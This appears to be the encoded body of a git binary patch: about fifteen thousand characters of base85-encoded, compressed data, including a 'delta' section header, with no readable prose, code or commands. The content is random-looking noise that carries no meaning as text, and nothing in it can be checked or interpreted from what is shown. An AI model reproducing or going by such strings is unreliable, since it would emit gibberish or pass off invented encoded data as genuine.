zh}2$&POX&Gg$p`xiaJd%Pe|ErQVB4fH|3TZEZK{8qdvORAU$67V)8(Y->Tw$W}C4$ zB>Mf*m%q$z@#nd1vxN~qZyYg*pR1wjBjMI$@6butqa9LZYTw2$9Cr?4q4+kb`ea-C zXmOT0S;d`WbW?P*!P4}34Vz@S$38xHie-`e*x8Q9yQiL%)58=H60#G1G~Yl`_4&r< zQO|nB2DgJr^`M9{4 zEH48WQ?Wt)YJwwSBjHVp+81RO@u^mh7(IFE?>9@-_U7H-ia9N>(5KUMn+In^{p_uU zSJ>-lJ|N2C4OxoGQ ze}m?uevUkIo9|5SRAkD;g(ubIcIK|!CA+51(Q$7z+clQ9e;O#rO47;+xeKRN?&Z^h+3+uC{b7+ z3vb`0__)c2_1g1!58V7|s6Ocjw(TaFSDYz`By;^%^UmGh@!p|Vk|8;1ZyK`3%uY9V zeThJLiIRg3rr~_%T@ahWQA7rUgb)JLi_flb8BHr)S$s9OjUK{5<9wmU+csgx8|(fk zWJKQ<63WKGv%{0fa>3^kJhvq&Ght1&hT#W(P|MRKN(~OfvTUl>WS0gZwz#g7rfVak z?33qJg8g?aqRQ%ovxMKqWQnfKzK?6)mGg^wwaR(=tU?akO|PKQN&4%|{=7#wqO(@i z2(@<8c)Jxy)!TwLC~zL?3cMAvC;D=R;hCntADg(=xyz{yMfcKG(8>|>WhNn=d*^fC zC-n<&6tD#~`w6J8(U>fl9j&7IGF>E3vzDfhy0fe75k;C`N`S+;xUOL3G0A1pn0bsR zNaN-MzsTdhx5}OwdYud%NiyS_U^l!GYftPSw#yaaDz)D%lj=_V@sp;&PK8jbROfwh zAxywTK7Wku?^p}@$+F`^ry$vMuQKWs=hx#DBw%7+1P=vR#>1z zaH8tavB-cov;$A|2Orf|qn5nA>>hifTgzWpy)!K&^2MJNe|Cb`x9Ek`W&DxCjJqQ@ zL;CTjG%dWjZqb;=bUtUQ^G^DNt|9ob$Jb;RM9y8#OHRF3H1I`)sUjmqIEB0Zg{(rW z;K$JC2dTTB%$`us^c=4lHs4)7xR*QerrIlzbBms@Q&O(>r1tqo+bnjxlu?DIP^)jKcrQXSRyp>zK>McgmlB>!_eVHR>BxKx?-lbb ziqi2oxpCLmnX|@AexmLG&c=~u{FUI{?!ZunN&LOw`Aatzhb8w6yhrn{#WHO(cQYK; zU2%(D^!a?|75RBq2mR#-kG0s|53N~pKm97$M=HJY{WOJTENLvm*Xe!PFOe6tY|~0e zABcCx*%w%C&lj6^i${dD*K9QSeHK)UnL4wzYFszAvr%i>n)ET z@?||vDOD~ji9T<(t}=AFH0{Wq6WPB!r9?yddiL&XPy8vn7G?_fr<*Syr3_g#JKW8p z#N#if_FNZprrHs3wm7}?<<{Lpm1neR!!KX2JaD$r$H|MhBP{2V>a|Dm=Jj#SXU8tw zB)1uPdE`^_>MPL;Mjs_?#~zK(9bS4|JkH9mn`|BL{OR_1jWaPq5OhSQ;^oWfK|#X! z_AgT}-V-AReZ!^Gk>WAu81~O8v*z5VfX^>)IX6DOl&z3Mhe;kvNH37oKud-{wcWIC zcRg`}((2xzff?OEhO%@tNsPJ9T<6^e${-ukgHi5{Rs&TM46$gTmbV|-yG$ZO<36cf zYb3^b*jVOEPU~zVqDJMOZ2Nt%WW~F?;-P&UuO`QlC#Ryd`zc$G6h5FZ`LI9p(Tt%* z?nxyP>r$PLrrIY9`4kIHkta108C>`geTQYOQr`;@hutK7TX5kGesjZ^bVLK%$f2;m z>p{V#bL9P-w}>;2ak(9?H`3UlR2VuJKv+f(-=h_|gxvG61af_W)t|-m6Jo1@#9cSoGX&hQzR=-+&6Y4Q{ME&c{B6x7);7Jf3RkySD$fy{&@qPAE_|r#qsJTPJyszl5HR!)` z%x!HUFP*&AGl-dgKQ%z^LZCtzY)PX)>*}+#b4EKti=-#p3F3 z;6Fb*{*5Nz`0;Zu2I6cxx13hz^LNS)p{5@me=4`+y;UOM>Fo~J@%yq7nRVvn;dw_G zrX;R47T_&kJ$jQ#@nV9L%N?~)qPtd`J7^U=n}oQups=Zc9IP80q>hnM1!g27^pdb>9= ze<|ZEc}8!Er+eUPtyPTI3MlT~^ms~EymH-X`C_od8<#>t+gW5NqPfzT*&=7nYoc#y zpTX$B57NK|Jf^@G2IbVJKGd`-wnw2g#TfMTrLV27ML6!cym10{yhxXkDbXM>(k z^P1&2eeuVu;3klCWW%Yw4(0TOyJJ1=cf%K%^TOpfJcVON4sE@@w)y2`7RUBS=3Mrj zibJ@UXeO28Px!B2Fuq)K)H-fy+-C24@jmBwj*KkE`;QMQOEm3GW~^~`Wu7gQwA@k1 zRG-*zRghska{i<438K1*lQJiLKXS{~OjRBl-o_1lPu(f|=H{A2wCzYpwDqA~5uu)d z&ijW1>xi3Z>hg3c1EPAid1BCOJ8$!m>UZ2S>3v=UeW8I{v#R`|V>F^Zk2m+!RL6=_LWuJJl=@$0zl zFwrHBkr3AjzwTRix~T3w7TLR;@AWaC^l2-lnnBq>_IDXEtDy<=cB8dxn*nwn6?>C) z4`ST3@Wx9Td=AQztPPi`8#b_PKURsWJ-y$iuq5Uc=6pidYxrEmOmfSSiJk8%5n>@~ z$pl48>cS}e*kfpKBUNE*%kyq4cQkjE(+G&WNM$JBxVcVJooD7tCaNHpkw#YqASXry zxo%!_FlBTyr|$6Q{t^``|((d|lSTqG)r_TzWoU>cg(yCKUz`!GG7 zMIoBb=gu=p!Goq5@flMQo=>PV(9crB9@u4f<(=%0o|U}o|0R4Z)o624n0VhK*Z}uk z#uMuw)fCg#%?^_SS-A8ZX~|tQZdM~)_>WBcu5rHIF1UzMg9hf zkhs65k0ir=d{a~pbBxOfL&4IN0kVO)0O<|6VD4WIk z7=scfy{|UwTNh-Ri4B*Yd%jQFcVef&*L&zCe}(_2@(LHyOEZMq z75Du)A8&I$6frn)TvRsV)Uo9s0rWijxa;Q5p{;Jl7SZT=`6|ihho3!}$k-L%$Z(vE zJ)3x{B!-x%&%MB8)%{_>x}7A!$w=v!HKQ*U&2m3~`PSu9|17>OBk*chUyu+9|I!Jm zh0*P=%B@9WrU&Mn2vjJ@>F4*U3(itLeO@p?FgNk?f#m#DbHM!y=ivAcax_`i_9o0d zRmb_%)6XE>1^2&E23_1~>Tg|($gFF4^jH`310o`oWCpGPp9A~YaJ;ai{lhulOXavu?H+y@P?o`{&^~)bpmh%HR-fuW=>-FJn_qYwqxit}2&u|>&_3@{Njl+~Y^tUUw z*s}`1Ooy1==;E3>u#(B^AUZ_cJ2Wu4(L=9sqIvu+arK6A!;3ZT9=^fn4Kw8;JodvI zcGmprpJg&eZf4I)_DRN*Wq(hh{BiTZ*5LQ}+2+U8$|6)4-fz5^c<-Ll zawJH9PJ)@%^e~=@?LI;OiI8%w&Zz>TS~|(WDsj@hSE)7<)`L~|S(&G!g0r3nGWgX_ z*M9Ua?n^n{Msc^aw6l_2;xV7!O|_ZRUYkwllE2D}Xi-Ty!~ZkIQ46HsQ!l!f#-0{% zYp=c{Ott9PE3qpCQ+8|vk?r5r>MDHhv*83exNyDRrZozDWlMghDIKYGznB-ePfYG* z%yaN+KaGX<%}JjTW2!&5=eainj}%nDSg)7>{q?AAE%vK5b$AKvjV z+6$W(q8&{wsplE|9y3~X`E=>6?Gj<069-)zJ{Zr&;U~#lJDK*)CS`JMU_&#-)Shg& zVYmF%OO$Ne$+VZwaXR;!L)x2~S>2_M7fN<@RlE`}3_6i@xW8-U4S%!n=B8+n4jJ={ zjW5zWZ1QolTest$TeatX!;2W?E7M+{TR3hiOKE;$i&l}M*4T`@h?l))!7hROR_9u& zT5R2oaVPNt`p!Ks;_GlLY~`AQferiu_)WH`r?(ImGBXOac3Y~wiD13M0>x~I2%Z$`OFYV>hwi2h7 z627kmMJ!2X_94#+J6#j*1X?eg@z6Z8UvBd$U&Dzdws`vJ+qpHpzN1UHUYVg4gCe8O z+r$DIYfoL@GYFgzc%6SPJ5GNFXPx`J>3f+`wep58*JNiB4tMX9$ufm)#IFt z3!r=Ky%xVZcp<|nC~bZ^5r2@^?Z@aaLqqWqyX}^D**0Ad&V=3Vqr7)4nv`5~uZW#@ z*EV`abgG2w;Ez?*wT|bHSMO-DzDpcjF660QQ+lZXh+(yT=ykXMszITSC&wUCdug5h zX4$!nNsk=M+D&ns#3Vdg4R_1aWx9ld1MWZgV={Nsq39zJjOnp9(LU&oxxqj+gT6UFScyL4u zLu}e1yO?&rTWK}*U3mQ792M6au6`8n?^fyJ$cR{_T>s8G(Ea`WYkQ6B2DrDX`I~xe z>Kenc$H_IK_Rt+><^2@bm3WN(*ZD1MD??xBc}ABgY%RB#^yV(j{?d&ETF+rglZF{X zergkS;ZwrqC8LiFTBX%O?`dp1-OF_h@%KhtOovRplm-V$U(Om$U$7{jb-Khe{Bn78 zeYCu;)Wn$`-*l&1V+ zw)$tq>YdBm`S?sMOO^!nb(|9ZCxQ+&2h`Qu8*hCM7iiinoU7yNVt<2MnQ-(@CF?h4 zv$V0ivIC_9jmaz>J1?8o3j=nSRAS!CN6s<{Ygw&bx4RX8e_qDNX;uETNn&B0%J@55 zya3<4xeSBO0KF3&W!@v&rNjFM>!ukmaB)lE52n6cxPs>-ZM!yVmk_!rmKWO9wl$ftKc4R| z_MW^xq#DZuO?M^&&i8wRVI657xHVbKWEspNBfFi z`QUKXwZhMx$ScNB(!H=Kzc6EUOVnsL=UDMNUH<*QmHR)Kx zLT<2pQ^dJCX4-C-FCL5_i1#{95DNI~#Um-LEvu+1V|LBzvbmj=g}ap0AB+B`oQAub zm6;=y`J3e`R*ueYKL057x7)j5>tOY#Qh!rU#>HCJ(Nfv=+OJmqzMPwfle?{>m5G&` zo3oqLHFwLuX`hw1g_VoDt+Nxh3}#1vw;$GK7FO<34$c;44pzU4{-&Ikg}aZ7m5DiY z-LF!=ukV6`mAA5$x0T!9v`doZkD8?9{;z6&+pcRq*W9ff|HE$nww$$@t%HY~m6WaX zwZF9P_w9pjmcHirM+^Vl)W07Ge_8=MTz=aQb2Cd53o|%)KM%>@)`ux)<^cWur-Hxf zZ|y(2+t$h2`PW9FM$A|~204HY4wkq;Y6u?WFytVF5P}aOh7e$hnTMG^1i>sLg8W*B zsTZ>@hNKY8Hpn2Dc}E~evBAt|f?(#KhhV0qvD32H=_^3YI_lW@8d&N8G4<;~Fxz&3 zVCr#%FhX1)v=BE4rmdL$z?2VyVA>pvWe5|H-yMI2eD>iO zck*cj=`><|XWh5IFNKTy$Mua5OU%Cf`(9*!`})}i#=m|2``Y;5xg|4m3rj0&o2#~V z_709t&MvNQ*W5iky}W&Ve{NM;MpjP#f`Z~jrAx{xs+X^*scUFzY3u0f>Hl}O>fc-U z-wpxHr2}4nI|La2So}ZjpZ|{!iKQyMKdvXJ1Gt#C1>`Zj!I*~lgfL-`Q})kr8KV+}QULsT0y9%MvJ2JHsV{_o{`2S&#?5#&t3&z9}MwO#g4rF02?USBn_yn>}N zmWo))VJU^B5SDyca$re~B>|Q@_&@7k!g3DF87#kGIgaHpmIGM!VcCsk2bQm~e1#<% z%W5ohu}sA>0n1SC#gr4*K8Sn^>>jU@q=gt$LH%lxCOvGX?$ zV*3Nj87#-K9Kf<0OEi`xSY~1wj-?BhrdTRsDTSpFmV8)pV9AIjHI`&p5@3m7xq*jm zFP1Y{4q%DK5`NF@kMk-M%U|{1#!d%e>4K#$mWo*NVM&c8F_ySkE@9vQUt?K{z2^Zv*Os# za=-fHuiO6X^sjQi_}Arso&Hts7yr8apH2T-?-&1C{@46p{Oj_6HvMb8U;Jm~|GNCw zdjEeX1^3VU7yngcJbmzw>(H-${WXpH^8vtqa{E>0cf|ah@#j^3SLV<2Fy;TfKb!n{ z>;K39PY?Xh=m8$s4NQK$U!k$@TYjH@z7PFBWgzzT3R`aww%-4{{Pn(BhJ7EzTq`i` z{_8aZ^LhK%3l{(OzM6@$vxTjr%U|wLVoLwM{2%v4;ZB^pl?~jS{nJghzbS8`VC7`x zW^3{DPUG)a{N4Q-lZ(#R{9cy6kuLNwUB_VCXLF-b=}8!5!VJW^N|#Zf3Ub*M8mC{ZlQ! zKTf~uf%g4Nb^P7&{#DPFD>p7i z2U`m(r)yT0m?d(yPWB#-US@7qT#U-@mOPBo%F2xD7ZnsWH5k?9HRRQ`<>fFJPk8`xIvncN1r86E`y_n_u7b{Nu7Mbmr&rWW*A|a*6Nf z{BA6(u}s1;2+ONjUcpibOEN4sc(LOh%Wf>uSe9U!iREo9gRpeL(iBTYEIF_w!*Yh_ z=XQS8JMe27%MvV;unfo28_TO$UcvHLJ$!$erp8VqSdMf5-0o{EOR)U4KHS>>AN4~0 zlh=X2yl}9uU!73Liv02O%0;%HG{Djk%RnsSv3!JOC6=vN{;H3R3_%LX5oAdY7eNDi zA;j{y$T*OZ0zoLi`G6r1TJYPz&kz>yB_KZ~f^dOL0rja6L zTHt6P9(DeL1w@a7PzO%3a!3?i(COh zKOhv~Z-CNluo!$8$i@!a0_OsHKx)BhIpBUKAcmOo!muAA2x1AYEQ%n`5C`y7U_HbgyaRYt3_<+BX@QE6 zP;duv=x0a=X1)aU6@>O8tSb%oharaG9dIM}6C@RU4tPKg+7C_(6oV9iM*}}VR>2J~ zKpP-(O3-Ft97GvB6<7?>1g`~lK@7o%fr}7Ja0g{*52OH`Rs}&)AUl}yKv7i~W0%0M zAjmL;7MxfO#u0=C+z{x8nFcQac0u^Thk=U_G4LHADSVkK2Tlv*g(!oI0WU)|!3}}V z5JPZ3U>w8}Q$_>s;X@q2qk+W`ckp50KEw}vP7~_ag1!ac(Sc#73w;Y-YlI+U5L#s@ z1LQDK!U(&T@ge9QUY!WJm3cFV#)xy+@T+?!0`f}@__xsIIs^= z4L%Gk_Jn-_uLYj+hJ9CqGQc(;XfyaQQ2siCTvdm50(t!q6}T8M4uS?x1%A4XAh_CajDR+GU|sO5zz7ItY(xW_A-XW% z;VvAb1UTox4S^{T2k-*mB*Yth4v2RTjwv`XFy=mt2TU2Dbt3d3rc4rC2a;ib!Igo} zAO+wZK*hX9|oG2z!(O10FFRhz~_K&rLd3Se!zK15cm#IrVPdaxH7N?QVre#L|4N2 zz&P;UGZ+H~Fdl%YY8aQ`#6S^}1Ct@4nDW4nkZ4SKAWaJ# zUrc$R9wZf09+(Vyj42OXh7^Er0LNP490Z>M^1X&*WQ>al0fQjk;Nie-NI3Wakg*NM zAvg!n1(FNy4WxVv{e_til!A1FW4H^M0VnH%`nq9#6I>(+m=4hdF9FiMgMI+#0|rCf z!EXcKLHxkSfhE1r25>actq;a7co1+8QUXr)9?lWSYj9KGxesu@flC1$A#<4Wz-`DX zrhGs28HCsrK7Rt~2jKb!&IdgI5zZ-aDWJg+oSWb-K+$1nGx!zYD8v$c3Ftcl#|u0N zNH_}p3{D2jf%Jiw05>6D!1>0Ye;~wW&`zKygaSMhh>XMd0Vf0ILb$+7fQl0c5(It) z_zuzsJ`Obh1Z_5lwgCqrn&9I=`p?ida4Dc8BosUdI0T6XUjnv&fw6%p52T!eV+YO% z)S8C&SU}r=&mmXAyMc}~aQwi7fOKDB{DboWJ0XZA)C2VY2InAn5U>>z1l|qgoP}ct z&Ih!HB!IgBzd};Mmw?yjU`&GF22#$$c@EA9yt@F`Qt(Wm-6HfMI2wqo!skhFGGOHf zwAl)L3$_mt0>1(@+=gpDIEGIl-r%*sO-MC3*A9ZbfXsk*0EKsbU$WcfrI3KW%0)-@icLNt71>guJ z3Ne9HfV%+mA+_LWAj2^f@(P>}s1NA|HwCIup^znv1D{c&5Plmd54>_5g*bql0#|5J zNDw$eheDztN#L14MtayTI3I8qQVUMT0P`79$N*+Ounj_R75V{ac@l*vgF65zSy1qq z3*IBxU^zQ11E&QJLL9*7fVHPkh#z_Y=0F~U*8;71pbg;Rz!gX}H~}vT zNr!ZR=K@vvP;fzo&xAnoGq8`~9Kg>I2k;GG`B|tF{59~_ITSJso&@yeMT!g20#C?8J>VQbq6;WQ2%H+otAIjW zz=eQ#iqQX<`M|f3FW>{fyo<1|6SNt~bP4JO=K#7v(BR&{c1Q>K0MJ1Ng^Xk7194PQ z2(>fR2^74HLO8$`foHFv5HWBeAh#Oq7si2m>d^n-1R5yht|qh%JQv8Ng+g*MWq{8h zOW?18N424T7pNb2QU}H%I0vv_7mgA50Pv0;93$`~AgMl#D{vuT1Ed@LHBid{j)g1q zEiekg53Xy7LPU(9o#2W>-BohJ?H*;;heXx7tfwN-{KfI6 z3pFA?zX)FtR3FtC)l#e=Z<{6)WXLs-{+yfsYEm97Tyq^B!F8Ikx_6crXRio|+akt=6_ymdKCHPyS z;l9<(!wu{oJOuwlhH>kSHEJap!MkC!vqp{LDfr4w?0>v@4gDmO_z1M!%>C2BSfG#0 z#M@w!)Z)YN9b(5P;kjYPi?_mOhzlQuhu*>(;SF#(X~nzXv&1iT;NiEjMp6e}K|**3 z+(o+ZJ@CA>><_#ZK2EmaBk-6m#)~(?YsoO)0cYLDU5q!tUy)IK4?MZMhB;=u@Ihj^ zp6|@?;h)fdJOhXBozFW!K!3mPU?d$0y$>3pl++92ucfxPp%{=2?SRi9~ z5gv07duA197G6Z;UD*j=CQi!7;e`?Q2EGW65HG$1p16Uz!kgeC62#kKl!WjM`~wN& zbMK}9WIetOo_-&F##`VEWDFmNm-euxA=-iO5jVacp1F~=z+2!-62il9h{*3Q!uRvO zBVo!b@PY?8r??+JMtblfJUq%8;da0b7T}R!)G3> zQTxSVWi$J7HP3~IY|;B;gL8`y!h z573x%+y-65C-tF5{CFOo)XV%xIlL*xdBh{|=s07?ov<@OKcpPml8h0z!^M5PJMbVp zrJr+$yI~^5eT3)XZ3FC+8~7}=407k=HuxxU;zc+!%Ra&Fa1m+6gD@d~kLTh0qzzX& z`bFAt4SqaC|D-%$qs|~v+zUsEhF9RsM>tcs9VSU0&%@1+@*Wh2&d0caaW~A9QM?H4 z!>kkTgptP?7p}pPpE9l+Sx0!)&w0<{0hl6o!X!al(l!B0qs)PI)mkfclM!1>S1olAer1ngMDxl&xNyIrq6gi{K8K9DGr~1h5q2qS80Rn!-X?Jt8;2QjdG~%}R7#C@la(K}1|1g8)FfvLABBaF z_`KAIkN=VTK^!Lk#5ziSxO$4U!@FSO&x}{f;m04-E^he?`(;1l!W-f7e`PG<@X}9M zBfJehL8|x&Jn&QckJmzts9R_g9;r;K7H@!AVwZB*Tw_uWycJf66Q6{OP5c?&27gby zQVzS!CgsC>;4g_E-vh6;m{dF70WC93sspcuJ4vV1fkU4&srC2>Z2i1RZNb}Ml_YSB zm3Bx0?|_yAOlkzLg&Ns`55ptBKwt3&I8658Bk+_1O==QvhIbQnEB%BsW}1{0uZ7enJ{>%Rwe}7nzIqz~c@!sYbjJt|v`W4&Nlr_#Ws##H3pA4){9pNjbdM zW>RfZ4!TG1MYwq zktW;+pCHY63935QRqDX=h0@LG5dX~bLMYSM&v!H-BYZadzjPA2kBY=(Cd`59*me8=z! zIAg9pKUO%$a0l!n^4(9^a{}j%HieH9na=`zpGci5JZhfqcIY>Jnz+;t!}=51le8n; zKz2x*@H!{`zm0bUoO6=ijsvcq&zYsX6Alu2RtD}id>po%tdC0=X*8*A)E9p46q5?x z&d)(`9vQ}+aK+b|!#h}CxQ$eB;SLw`+|74y`0?o`wFlo1t7n*0{wItP9@u13fjfCO z!MjKh4}XKbM?$zd)1*!(UAP+tNCXeUG}(gZVd7hyDRJmMhjWBS;0I(Jw=ZBHkqNvE zcc05S!K?6L59eha?=1Mk3z$>94aP|$J`7(bP53C>OPcXXcwP(hg}1_6Nh{9(r=I#b zS%i7=((6N;(mDkcR0iAaX6=y@!}4+l*nFchXZ6LF<+pq2aA?IgvgD;X1?D!&AS{ z{P0;9e2Q$ri|_|ma6jN}@NrVY3-E0}eYltTfpdPKx9Nc2Gkg*JS0a0U8_fKW{lI5O z;9rT9t1C_Ft3>+K0G}sQ4{-;=XRl)3C@;a9tM&R8_%$NqnhPVOfjYw1i5DM-r!8SW z<4y4M0oE6{!mkiJpS8pKrL6Bp&N7@&q}&TTNP+rc7$rqqgS}(~&%;MZ2`|I1T*Ezy z+u@}|`sRa&Ez`&4gcUMI9b3CeT|>t4c6c9=vG>63hL1q&wfcC4^NH+}W_XiP9)@Wm zpUuFR3@^hguVX(^-UeqZ*Xvl}iXU-5)3*+oATnOzYle@(SwGh6*TUlrZ-#dm-VJ|F z9DH^g{D{apPQm^ax~Jf&*K?Ms1Q`Qc_n9)@*X%$WUhpxh6|5arPr^AKPA$B z0UjLE>)YTw!(DJ0k@lnTqZ`;0v^fROxKXd~f!7)ygvWI9Z0a~*hDiIuGLd$K<~8h9 z>R8~}M9Q1tvxb-8f}6Q3w(@&0_@d!E;KHz8-U^Rh%Rak@XTi;6`uzoWbTNmV9pUEN zxho#vy$0{S!=zl)?}6Rj+$p%QNTi>_DZ_=OJGtMeGY;=r$9oHpz$4b{mu%p@LwNw+ za3A|N!n+Ty*~nP%Fm&F}*~Eo^AR0ai=WgQM;le*Z#CqWS;gMVQe%j$V8cw+fE+du= zoFlk_G~hk(5hDE=hKKd)pRI$Z5GnV<<-|k%AbgC-JPgApW4vD|FT&S|)c40Z`=pcd z1hgf%8*$-7N#4P@2Hz#p&ICNIkN#8M1YaR?PmaRyBg_xw-Eh~VoO3CMGal2QWreGV z?2Qn-pU63l!kuJ#z2H}e_4XU!lSJAt!r`ZQC*s0MBK@}&c_(hC{(a0dyyR)U9Ut67 zWd8_9M_3o>54`(X?mj#M?a%3VvT$RG@lqazD_`JF!$VLb@~rZUyrW;z_jwD96X|mT z9{w`pr4RMcvXe35!llH8x5N5ZSQn`SA0>W#7~Zvu?<#l%?)W7?Kj6Y&k8y_aaro)$ z`WV%2`Z&(_9?FI8H%O0Vn$P1h-U@u~P3DU75}f&#zWsX%Vz#vA=V4-A~N<-IC+#=l_(b;Z`aG` z!ZyPLa1W7r6R!HISyibYf`@#Kv2eGyz>|(Pt9rZe~-tZDk9&c7*>J;JibLlr8g0oK0pKFINkS&z&falCJPrr9Ou!l%Lh2azF2X%zc z5DRlP4sUnr^VSXb6PX8L?@9ETIy>Mo^XVtAKlB9T3_11@mUKhB*8=188;=HVTunbj!X4WA)Z_TdP8mq?ov z@at#LZ|b<{Y&8m@dJNyZm-v975BJb-lSbLV>=S$pez`?2cf;$+^t0e` z7n-NPJI#e}89oKizeum&0<%QsKM!Nyrr)&b_cAUb^V13MH#`d8Akv2lJawV&A-I*u zb2a#*i}msjX!?%s7Wf!h&u53BwNX%i2?y^GCi2fh#f`uk>8$G#nhd#=#$0pWn(tmaalfxC%}WgO1?f$lyS zB{FsmZYR>85%@8Yv#=i?`9r)XugK_d767I?%}y4S;>62z1>Y5A*K;zzd1Y zn;$+J)Y}|}@fGxqItlnG@!_h&td72s{@@MptWNGt+zXeH&IP=i;2>!^m*>L0WIt}Z ziFX7U_b@JaIcYzSJp(rr%lVumxSMRl)f&zS8Na}yF29+5MOwWUwHwY3^Q?sybpgDU zbYE;y>uxctCrI5Tl;6sll03c+_K~{pTGVs!Z4$iHqBh>nJxSL4Eo#Y~v_lfhEb6uO zW;Nq3v$6#(>M%H;1o02=;e8R|J;?8%gnp9X_fBEBi`4VGrVrrR8<<;uzqAZKNk;Ma z;OY08mB#Oyz5`d2FyFO=4;U_dgA{oe3lF$YuOmF)aN$bBg%27o+-|sV-0-*Ie#3>c zd-OKz;W>s27aJ~IxKXdO815sApDBc<`}J}goNu`BLc@gt!-Z=N7j88?4xcpq8Th8* z!u^H|k9a_Tmhfc5g%=qvTxs|kxXEzgu;Id&44)M>t97J>yL|)PNnH4xP4aHhpC!D- zaAD4HVaageJBADQ8!r6PgL*p!I7Z}5)o$kfNyLR=GJQ|N?ZnSrQHE6_b%bYZ(d#t9 zn@EH@DOe&>M_BuiUPpKdDN-i_^JKam*u0gsV~oLv%_>c#{Quow8uu21u1ngJj-)f` zO1hJtq&MkH`jdfVFd0gQlikTkGMdzqsboG`NEVZ&WH~vOtRyFr)#OxC_0{#+`y74l zK2KkMpfFGzC=JkHnf(L2abMgy=o)kndIr6NzCr(BU@$ls8VnCQGp>v~k4zKlN; z$W(?VhWJ2*@5b^uqcoTaXSy?yOf;iqQki_Fkg;bSS!dRjb!RDwcdU1! zcdFMKtBW~eu9zq0i>ZV)VN28{@~L8~lq#pjQkB$1s+yWgsR8SNZJ=(zKHwN|4!8ya z>0p}1ZG3M9nwHY?T0tvnC9SNDX%%fkt7=o4>b3UTc)pz;IO&6%UU=z;pPmHiOPJn7 z=#NH^^7N@lugdhRLeHx7O~tG+8~wA>LnnQ7(@QV?^v43RU@R01$GT&YSTv@^Qn7rj z5G%$?v2tuIR^h)WR*g-?RNNZ3#p~ksxFhb2yW;M+Cob#ij|bwxcqkr@cgG{~Xk3dk z2s`t|Kkf|EBaPk^=}CoND0*P$>299v=c!?ysPVKSPpa?~#S`qb?xtlwt%hk)i|6CT zcsX8)SL2EqwI`ejcfy_Kq{CDrNXK1R3xRPQmK5Z zV65Taub;kp?g7t$cfiMfFAt0jR0gU8Qv)h(P219SX?xm{cBWlvciNNorhRFDI*``V zsdPSFNEg$kbU8hiuB0c@)$~+a4O$0ngLQ-ULC4_VpB35fb=m*E<5iL0b1~IwdiTm+ zksToGDyx-Z*8GV;qRgo4`c!^~;$Nv&)!sT*-p@+sSy{zOdYR=Y^IMJE6CP$XnuszN zV}162IGMpr=pRmDF;mKvGh>-bW+GF~Ol4Honzd#Bv9EtSozbk8O=a`hLbjMKWy{&I zY$ZGKPfn{R=gs+Y{#+mz%!P8{Tz4*#i{`XkDwod{a>ZOJSI&*)D!GZAZzwbr9V&3T z8Dw#Wvat8+G^gg$+?q%8YCg@c1+@QpSKH#H=@D1@CfET}eX8HuZ|kq?cl0~^UH$HU z&-9((?+i;?) fdB$BFDh>VZZj(*%*o+Gneg delta 138845 zcmb@v4SW+-)<2$?h6ZR!fCdUJ5Fph;QHw=wEtL#SVL}5Gd8_hP7L53^D?$QAkhG)~ z#vxb?Yt&U2cU{-@WyRH%@*=bpNO?!p1;temU8e?JP#20X%>R4toun`10+z z-gVvK%Ob90*AKsZ4=Y!C`CXR3@3M_uPh6hMt|!^`*1P5{AXw`MrmsI`9=!bD-;CF3 z|IXvaFp>vUrbEOo=1x^P$hRhETGIvxJgKgtL@_1V|zo-^p4!h`)WgRYEn z;{S4!bUzG?Kj2!CqlaU3?bY@(48DIasVUj*2KmK-|&RbBT^Y;L+)SbLGlbS^PmX{>N?n;hX2gU_&-5Gt7UQ z^>&1qslMCo3Kb=q`ciZE4} zE>@qVffeNzQQoh7+>LHihXaQ27NeScPORPMAFT{Uw}IyMV(kUrAeU@1pvcxF2qIBF ztUQKlAipU8LzE9GOYkI{PXB1swHyxs2msQ9G7=aGJ0Vtdm1&r*$}6?K(AX~~C>jM*=_91hjikSKGG%Dl!QORj)pn35HL zaM+b)xEDhnM{eFRp}q=5Q9WA;Mkuw$L3Ks>K-A?J(G^{DNh=(=cyM*m=`ofrN51mJ zV^rdZ+CY>PkvE0%kmXcXB5Mm(QyV0YV?O?T)PC8P6v$D6PS_Ka1(@*;hqTsFqa{>Q z!Z0LkUE#3tiIo zfTIfOxN+2J*NwO;ds3(yspEeDW6SRf>Ki4?`U9*k0KE+|e}loXtoqLWM0)ncnlKQB$m0x!Dd_b}bSTFPeP%+eH5 zo}4WPNAB18I*W43e#J^0Majk4qBOEuEyitXm>?gk!{~-5o#`7snsT+*+!crhi*7>> zsCUj^sLc4j*J?-) zc$ml%JteY zQ2-?D0YCuQ>d#lwS{Vti6Kho_@XuaIkno676^D161bzjcWYYl@h^0Q~22)X_2b#`lJBqU{aR}O-E|eBcIkf8%0HQHXR7F&K4?tFUI+WclPW5 zwCn6ciFQaUdGREh-bR6zZ!qME{?;H}LpyK)6WNdF9VlQZ+-n(q4wlz_d_FI}QQzk+$x+NbpDt_|mXJkDsxa6;JYlkG0-f)oWbwPaupr7+j4xH(5xS_^# zg#xgc<)M23Fi#c9Rv@_9o`MktmYTqLBx6DsD5Jr`p_#@sFl4r?@cYGsSnEP{l$sIb zVjEi zblHaC$9SdYo~Cjhxk-753WZV!yk>+3XoBkS^IECrp=_vnKdL7L52#U7GHy{H<@?!j z>yrAloMM+xHbJh)6U?5F>GN}R`;Kbs|A`)Ulj$O!J@QE`!VDfuNxynL;=Z?t``wf! z_4^amkovueiy}P)=okSEpD)9K#rg`&dC4RrPd2Tmf^6#8UprQ$C`UQ7q*hp7JiGT*FfK@s$0PlEG4T z@{|Tj>C968ZsSRBQqo26pPKa&Zo`cO2TcXj=oHo2Kw}{reefPV2+>_3t;3DkRI*&k=Y6 z0xDA@1=YKeVu>_-!vLfpp_vj`{T&0d0P1hTeBmbVJPYJ72Q?s_ePe6|-H68*A zU%{6?vr8Upc1b0yu4;SqeSLWNw2bh z9`gm3$)kr!!Z1-Doe5Z(xIzsI4texQNf;S?U|5no&gnM`^=asAECmTBe`le71fB$A zvs|2C*lZcwEH?@{4Yds`GchH^P^k;cX_r*&RQA_^(#0f-FrlKwPSk39W?UIyUMr0; zf6`M49hDoSf&;Ts$7D)JN>Dxs(7sF?kAq9$3=?H{I!#L$DTn@n5n>K4tq}6PBBp1) z2-7h?D$wKyvx}LsGrdGU>cOyKuICcg5V+YMl(K_Z>d8TnrrNdu zc+qE=p1x$(F|jG``V%q5A_GT($xqDe)@9W=5*+=GJZcP|o9Rf}jmL2ItQ)%>MI(79 zFYMCS6JLdYJ!@dk8E&}Gw`Sszxs8;QZe94R_n*2ZW~Q@>08zy=R>2!-1t%IC#Ijs|c`5*PUbx4&7-I()Z2AA)Wd074@Ux7^srl^ zhs%jzyuzumx^U^7fdMCZ88=d63Gpp)$C3OUX0fzB7h^64mu0K|F7=&Jt_60FMsMd> 